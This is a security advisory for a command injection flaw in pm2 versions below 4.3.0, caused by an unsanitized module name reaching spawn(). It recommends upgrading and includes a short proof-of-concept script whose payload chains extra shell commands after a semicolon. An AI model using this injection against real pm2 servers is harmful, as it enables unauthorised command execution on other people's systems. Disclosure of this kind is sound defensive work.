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Test your applicationsUpgrade pm2
to version 4.3.0 or higher.
pm2 is a production process manager for Node.js applications with a built-in load balancer.
Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbitrary commands as part of user input in the Modularizer.install()
method within lib/API/Modules/Modularizer.js
as an unsanitized module_name
variable. This input is eventually provided to the spawn()
function and gets executed as a part of spawned npm install MODULE_NAME ----loglevel=error --prefix INSTALL_PATH
command.
// pm2_exploit.js
'use strict' const pm2 = require('pm2')
// payload - user controllable input const payload = "test;pwd;whoami;uname -a;ls -l ~/playground/Node;"
pm2.connect(function (err) { if (err) { console.error(err) process.exit(2) }
pm2.start({ script: 'app.js' // fake app.js to supress "No script path - aborting" error thrown from PM2 }, (err, apps) => { pm2.install(payload, {}) // injection pm2.disconnect() if (err) { throw err } })
})